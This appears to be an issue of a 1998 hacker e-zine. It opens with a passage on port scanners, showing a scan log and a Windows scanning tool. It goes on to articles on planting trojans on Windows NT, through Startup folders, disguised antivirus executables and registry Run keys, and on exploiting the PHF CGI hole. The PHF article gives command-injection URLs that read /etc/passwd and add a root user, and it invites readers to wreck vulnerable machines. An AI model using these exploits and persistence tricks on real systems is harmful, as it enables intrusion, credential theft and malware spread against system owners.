21:29:51 SamsHack ps[179]: connect from localhost Nov 10 21:29:51 SamsHack netstat[180]: connect from localhost Nov 10 21:29:51 SamsHack wu.ftpd[182]: connect from localhost Nov 10 21:29:51 SamsHack in.telnetd[183]: connect from localhost Nov 10 21:29:51 SamsHack in.fingerd[186]: connect from localhost Nov 10 21:29:51 SamsHack in.pop3d[187]: connect from localhost Nov 10 21:29:52 SamsHack ftpd[182]: FTP session closed Nov 10 21:29:52 SamsHack in.nntpd[189]: connect from localhost Nov 10 21:29:52 SamsHack nntpd[189]: localhost connect Nov 10 21:29:52 SamsHack nntpd[189]: localhost refused connection Nov 10 21:29:52 SamsHack uucico[192]: connect from localhost Nov 10 21:29:52 SamsHack in.rshd[194]: connect from localhost Nov 10 21:29:52 SamsHack in.rlogind[193]: connect from localhost Nov 10 21:29:53 SamsHack login: ROOT LOGIN ON tty2 Nov 10 21:34:17 SamsHack ps[265]: connect from pm7-6.pacificnet.net Nov 10 21:34:17 SamsHack netstat[266]: connect from pm7-6.pacificnet.net Nov 10 21:34:17 SamsHack wu.ftpd[268]: connect from pm7-6.pacificnet.net Nov 10 21:34:22 SamsHack ftpd[268]: FTP session closed Nov 10 21:34:22 SamsHack in.telnetd[269]: connect from pm7-6.pacificnet.net Nov 10 21:34:23 SamsHack in.fingerd[271]: connect from pm7-6.pacificnet.net Nov 10 21:34:23 SamsHack uucico[275]: connect from pm7-6.pacificnet.net Nov 10 21:34:23 SamsHack in.pop3d[276]: connect from pm7-6.pacificnet.net Nov 10 21:34:23 SamsHack in.rlogind[277]: connect from pm7-6.pacificnet.net Nov 10 21:34:23 SamsHack in.rshd[278]: connect from pm7-6.pacificnet.net Nov 10 21:34:23 SamsHack in.nntpd[279]: connect from pm7-6.pacificnet.net Nov 10 21:34:28 SamsHack telnetd[269]: ttloop: read: Broken pipe Nov 10 21:34:28 SamsHack nntpd[279]: pm7-6.pacificnet.net connect Nov 10 21:34:28 SamsHack nntpd[279]: pm7-6.pacificnet.net refused connection Nov 10 21:34:33 SamsHack rlogind[277]: Connection from 207.171.17.199 on illegal port The first thing I want you to notice is the time. The first line of this log excerpt reports the time as 21:29:38. The last line of the scan reports 21:34:33. Thus, the entire range of activity occurred within a five-minute period. Next, I want you to take a good look at what's happening here. You will see that nearly every open, available port has been attacked (some of them more than once). And, on at least one occasion, the IP address from which the attack originated appears clearly within the log (specifically, on the last line of the small snippet of log I have provided). The line appears as Nov 10 21:34:33 SamsHack rlogind[277]: Connection from 207.171.17.199 on illegal port It is quite obvious that any system administrator looking for attacks like this one needn't look far. Keep in mind that in this example, I was not running any special logging utilities or wrappers. Just plain, old logging, which is on by default in a factory install. So the average system administrator needn't do more than search the /var/adm/message file (or its equivalent) for runs of connection requests. However, you will be surprised to know that an overwhelming number of system administrators do not do this on a regular basis. Other Platforms Scanners have traditionally been designed for UNIX. But what about other operating systems? There are two aspects to consider about scanners with regard to operating system. The first is what operating system the target machine runs. The second is what operating system the attacking machine runs. I want to discuss these in relation to platforms other than UNIX. The Target Machine As Another Platform Scanning platforms other than UNIX might or might not be of significant value. At least, this is true with respect to deployment of TCP port scanners. This is because the majority of non-UNIX platforms that support TCP/IP support only portions of TCP/IP. In fact, some of those TCP/IP implementations are quite stripped down. Frankly, several TCP/IP implementations have support for a Web server only. (Equally, even those that have support for more might not evidence additional ports or services because these have been disabled.) This is the main reason that certain platforms, like the Macintosh platform, have thus far seen fewer intrusions than UNIX-based operating systems. The fewer services you actually run, the less likely it is that a hole will be found. That is common sense. Equally, many platforms other than UNIX do support extensive TCP/IP. AS/400 is one such platform. Microsoft Windows NT (with Internet Information Server) is another. Certainly, any system that runs any form of TCP/IP could potentially support a wide range of protocols. Novell NetWare, for example, has long had support for TCP/IP. It boils down to this: The information you will reap from scanning a wide variety of operating systems depends largely on the construct of the /etc/services file or the targeted operating system's equivalent. This file defines what ports and services are available. This subject will discussed later, as it is relevant to (and implemented differently on) varied operating systems. In Chapter 18, "Novell," for example, I examine this file and its uses on the Novell NetWare platform. The Scanning Machine on Another Platform Using a platform other than UNIX to perform a scan is another matter. Port scanning utilities for other platforms are available and, as you might surmise, we're going to use one momentarily. The product I will be using to demonstrate this process runs in Windows 95. It is called Network Toolbox. Network Toolbox Network Toolbox is a TCP/IP utility for Windows 95. (This program was discussed earlier in this chapter in the section on network analysis utilities.) It was developed by J. River Co. of Minneapolis, Minnesota (it can be reached at info@jriver.com). The utility includes a port scanner. I will not conduct an exhaustive analysis of other utilities available within the application (though there are many, including ping). Instead, I would like to give you a quick start. Figure 9.2 shows opening screen of the application. 1. Before conducting a scan with Network Toolbox, you must first set the scan properties. By default, the Network Toolbox port scan only queries 14 TCP/IP ports. This is insufficient for a complete scan. The output of a default scan would look like this: port: 9 discard Service available port: 13 daytime Service available port: 21 ftp Service available port: 23 telnet Service available port: 25 smtp Service available port: 37 time Service available port: 79 finger Service available port: 80 http Service available port:110 pop3 Service available port:111 portmap Service available port:512 exec Service available port:513 login Service available port:514 shell Service available port:540 uucp Service available 2. To obtain a more comprehensive scan, you must first set the scan's properties. To do so, click the Options button to call the Options panel (see Figure 9.3). Figure 9.2. The Network Toolbox opening screen. Figure 9.3. The Network Toolbox Options panel. 3. After you open the Network Toolbox Options panel, select the tab marked Port Scanner. This will bring you to options and settings for the scan (see Figure 9.4). Figure 9.4. The Network Toolbox Port Scanner Option tab. 4. The Port Scanner Option tab provides a series of options regarding ports. One is to specify a range of ports by number. This is very useful, though I would probably scan all available ports. 5. The last step is to actually scan the targeted host. This is done by choosing the Scan button shown in Figure 9.5. Figure 9.5. Select the Scan button to scan the targeted host. The port scanner in Network Toolbox is fast and accurate. The average scan takes less than a minute. I would characterize this as a good product. Moreover, it provides ports of several other UNIX utilities of interest. The information gleaned using this utility is quite similar to that obtained using Strobe. It will not tell you the owner of a process, nor does the Network Toolbox port scanner try doors or windows. (In other words, it makes no attempt to penetrate the target network.) However, it is valuable because it can quickly determine what processes are now running on the target. Summary In this chapter, you have learned a little bit about scanners, why they were developed, and how they work. But education about scanners doesn't stop there. You might be surprised to know that new scanners crop up every few months or so, and these are usually more functional than their predecessors. Internet security is a constantly changing field. As new holes are discovered, they are posted to various mailing lists, alert rosters, and newsgroups. Most commonly, such alerts end up at CERT or CIAC. Crackers and hackers alike belong to such mailing lists and often read CERT advisories. Thus, these new holes become common knowledge often minutes or hours after they are posted. As each new hole is uncovered, capabilities to check for the new hole are added to existing scanners. The process is not particularly complex. In most cases, the cracker need only write a small amount of additional code, which is then pasted into the existing source code of his or her scanner. The scanner is then recompiled and voil…! The cracker is ready to exploit a new hole on a wide scale. This is a never-ending process. System administrators must learn about and implement scanners. It is a fact of life. Those who fail to do so will suffer the consequences, which can be very grave. I believe scanners can educate new system administrators as to potential security risks. If for no other reason than this, scanners are an important element of Internet security. I recommend trying out as many as possible. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 7. NT fun Tricks by mad55 mad55@hotmail.com September 25, 1998 This is a trick that can be used with NT and zin95 Check to see if you have read/write access to the C:\winnt\profiles directory. The following types of programs can be executed by the unsuspecting user at startup. Keyloggers, and other known exploits such as pwdump and getadmin could be launched. New users logging into the system for the first time will automatically spread the trojan to their profile. .lnk shortcuts This is the properties of a evil .lnk file C:\WINDOWS\COMMAND\START.EXE /m command.com /c mkdir c:\trojan or to add an entry to the registry: C:\WINDOWS\COMMAND\START.EXE /m command.com /c trojan.reg NOTE: /m is used to minimize the window another available option is /wait which will cause the program to wait until the other program exits. .bat and .cmd batch files.com and .exe executables .reg registry files can be executed to update or add to the registry A malicious executable file can be used in: C:\WINNT\Profiles\Default User\Start Menu\Programs\Startup NTFS partitions will have these default permissions. Administrators Full Control Everyone Read System Full Control However remote NetBIOS attacks can be accomplished. A compromised C$ (administrative share) using a tool like NAT.EXE NetBIOS Auditing Tool or an ill-advised Everyone/Full Control Share (which is Microsoft's Default Share Type). FAT Partitions have no file level security. New users logging into the system would automatically execute this program everytime theylogin. if this is done on NT Workstation the attack will only spread to new users logging into the workstation locally. If this attack is performed on a NT domain controller it would spread throughout the domain profiles. It is also possible to plant the "seed" into existing users profiles. C:\WINNT\Profiles\userid of exiting user\Start Menu\Programs\Startup Hiding Detection Replace an existing startup program with trojan. For example, replace McAfee's Antivirus program viruscan.exe with evil program. Use a shareware utility like microangelo to alter the icon of the program. Now each time the existing user logs into the machine they would also execute this code. C:\WINNT\SYSTEM32\REPL\IMPORT\SCRIPTS Falls under the exact same restrictions as the Default user Startup Menu. .reg files can be made to do the same thing. Example cut and save as trojan.reg ----cut here-- REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "VirusScan"="ik.exe" ---cut here-- To get the executable to start before the login process. ----cut here-- REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Runservices] "VirusScan"="ik.exe" ----cut here-- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 8. News on the PHF-Technique by the file ripper tfr@gmx.net September 05, 1998 PHF allows users to gain remote access to files (including the /etc/passwd file) over the world wide web. I'm sure, all of you know the very old text from Psychotic on PHF hacking. Since that time many things changed. Some years ago a script was programmed, which give out a fake-pwd file on phf-requests, so even if this technique works and you crack all the passwords you can't be sure if they really work. But after the release of NT and some other new OS versions, there are now some other ways how to get the passwordfile, through a normal http-request. http://xxx.xxx.xxx/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd #Psychotic http://xxx.xxx.xxx/cgi-bin/phf?Qalias=3Dx%0a/bin/cat%20/etc/passwd http://xxx.xxx.xxx/cgi-bin/php.cgi?/etc/passwd http://xxx.xxx.xxx/cgi-bin/phf?Q=x%0aypcat%20passwd http://xxx.xxx.xxx/~root http://xxx.xxx.xxx/cgi-bin/test-cgi?* HTTP/1.0 http://xxx.xxx.xxx/cgi-bin/nph-test-cgi?* HTTP/1.0 http://xxx.xxx.xxx/samples/search/queryhit.html #only Win NT http://xxx.xxx.xxx/scripts/samples/search/webhits.exe #only Win NT http://xxx.xxx.xxx/_vti_pvt/service.pwd #only Win NT http://xxx.xxx.xxx/secret/files/default.asp. #only Win NT But how do you find a server that has that security hole in it ? Search in www.altavista.com for "test-cgi". Background : Most Servers that have the test-cgi flaw in it, also have the phf security hole in it. What else are you able to do with phf ? You can access everything. For example, you can get the dirlisting of root by typing in : http://xxx.xxx.xxx/cgi-bin/phf?Qalias=x%0a/bin/ls%20/ From there, you can just alter it accordingly to have a peek around the system to see what else you can learn. http://xxx.xxx.xxx/cgi-bin/phf?Qalias=x%0a/bin/ls%20/bin would show you every command that is available in the bin dir. If you slightly modified it, you would also be able to see the permissions of the specific files. http://xxx.xxx.xxx/cgi-bin/phf?Qalias=x%0a/bin/ls%20-la%20/bin which can come in handy since, well, seeing as how you have root permissions you now have a nice little bit of information about how the system functions can use that to get even more access or information out of it. How you don't even need to crack the pwd file : http://xxx.xxx.xxx/cgi-bin/phf?Qalias=x%0a/bin/adduser%20tfr%20tfr%20100%20 http://xxx.xxx.xxx/cgi-bin/phf?Qalias=x%0a/bin/chuid%20tfr%0 http://xxx.xxx.xxx/cgi-bin/phf?Qalias=x%0a/bin/chuid%20root%500 Do that and you MIGHT have root access to the server by telnet. Be forewarned that this is an old hack and many servers would not have the PHF script still running or have chmoded it to 000. This can get you into a bunch of trouble, so be careful. As I said before, this is well known and I wouldn't give it out to you unless most system administrators (if they deserve the title then they know this hack by heart) knew it as well. But there are always those that don't deserve the honor of the name, and to those, you have my full consent to fuck up their machines to hell. Have phun! -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- If you want to join UHA, please take a look into our join-section on our Homepage! We are also interested in alliances with other Hacking Groups. Greetings to gHF, iNsAnE iNc, NuKeM, IHA, D'n'D and all members of UHA. Shout-Out's! RobinsonLaw : Thanx for your help with organziation! WebKeeper : Thanx for hosting our Homepage, pls keep up the good work! MaD : Man, great UDP-Flooder! Keep up the good work! Anita : I LOVE YOU!, my darling! Special Note : All text in this magazine are written by UHA-Members! -=[ United Hacker Association 1 ]=- Email : uha1@gmx.net Homepage : http://www.uha1.com (after the uha is a ONE!) (if www.uha1.com try http://come.to/UHA) ************************************ EOF ************************************